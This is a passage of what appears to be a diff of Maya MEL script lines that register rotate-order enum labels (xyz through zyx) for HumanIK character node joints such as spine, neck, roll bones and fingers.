10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine6RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine7RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine8RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine9RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck6RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck7RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck8RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Neck9RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRollRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "HipsTranslationRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandMiddle4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandPinky4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandExtraFinger4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandThumb4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex1RotateOrder", 6, 